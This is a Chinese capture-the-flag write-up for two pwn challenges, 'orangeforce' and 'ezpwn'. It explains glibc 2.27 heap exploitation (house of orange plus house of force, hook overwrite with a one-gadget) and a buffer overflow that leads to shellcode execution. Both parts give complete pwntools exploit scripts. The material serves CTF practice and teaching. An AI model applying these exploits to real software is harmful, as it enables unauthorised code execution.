2024极客少年-PWN


orangeforce

house of orange + house of force,无editdelete,限制创建堆块数量六个,可以溢出8字节,创建堆块之前还要先创建一个character才能去创建堆

int add_character()
{
  if ( flag == 1 )
    return puts("Your character has been created.");
  fwrite("Name: ", 1uLL, 6uLL, stdout);
  getchar();
  read(0, &byte_202060, 0x14uLL);
  ...
  flag = 1;
  return puts("Created.");
}

先利用house of orange缩小top chunk的大小,但要保证修改的大小加上top chunk的地址最后三位为0,再创建一个比top chunk size更大的堆使得top chunk被释放进unsorted bin,此时得到libc地址,最后申请一个堆获得堆地址

泄露完地址再利用house of force,改top chunk size-1,再申请target - top_chunk - 0x20大小的堆,使得top chunk落在target,这里需要改malloc_hook,但是直接改malloc_hookogg不能打通,所以需要利用realloc_hook,即将top chunk落在realloc_hook,最后申请一个堆改realloc_hookogg、改malloc_hookrealloc + 2

此时已经用掉了六个堆,还需要创建一次堆触发ogg,利用scanf输入很长一段字符串可以导致scanf内部扩展缓冲区从而调用init_malloc来分配更大的空间的特性在scanf时输入很长的内容来malloc触发ogg

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 26870)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add_c(name, STR, DEF, DEX, ACC, INT):
    r.sendlineafter(b'>', b'1')
    r.sendlineafter(b'Name', name)
    r.sendlineafter(b'STR', str(STR))
    r.sendlineafter(b'DEF', str(DEF))
    r.sendlineafter(b'DEX', str(DEX))
    r.sendlineafter(b'ACC', str(ACC))
    r.sendlineafter(b'INT', str(INT))

def add(size, content):
    r.sendlineafter(b'>', b'3')
    r.sendlineafter(b'Size', str(size))
    r.sendafter(b'Power', content)

def show(index):
    r.sendlineafter(b'>', b'4')
    r.sendlineafter(b'Index', str(index))

add_c(b'a', 1, 1, 1, 1, 1)

add(0x18, b'a' * 0x18 + p64(0xd81))
add(0x1000, b'a')

show(0)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b"\x00")) - 0x3ebca0
libc = ELF('./libc-2.27.so')

one = [0x4f2c5, 0x4f322, 0x10a38c]
ogg = libc_base + one[1]
realloc_hook = libc_base + libc.sym['__realloc_hook']
realloc = libc_base + libc.sym['realloc']

add(0x1d0, b'a')

show(2)
r.recvuntil(b'\x7f')
r.recv(7)
top_chunk = u64(r.recv(11)[-8:].ljust(8, b'\x00')) + 0x21920

add(0xb88, b'a' * 0xb88 + p64(0xffffffffffffffff))

size = realloc_hook - top_chunk - 0x20
add(size, b'a')
add(0x1000, b'a' * 0x8 + p64(ogg) + p64(realloc + 2))

r.sendlineafter(b'> ', b'0' * 0x1000)

r.interactive()

ezpwn

exec函数可以执行shellcode,但要通过isAdmin的判断,所以要先通过LoginisAdmin1Login中的passwordSuperSecurePassword123!,而要用Login首先要把v5改成0,所以通过Send Message to Admin功能溢出v4v5覆盖成0

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 26870)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

r.sendlineafter(b'>', b'2')
r.sendlineafter(b'>', b'\x00' * 56)

r.sendlineafter(b'>', b'1')
r.sendlineafter(b'Password', b'SuperSecurePassword123!\x00')

r.sendlineafter(b'>', b'4')
shellcode = asm(shellcraft.sh())
r.sendlineafter(b'Shellcode', shellcode)

r.interactive()

  目录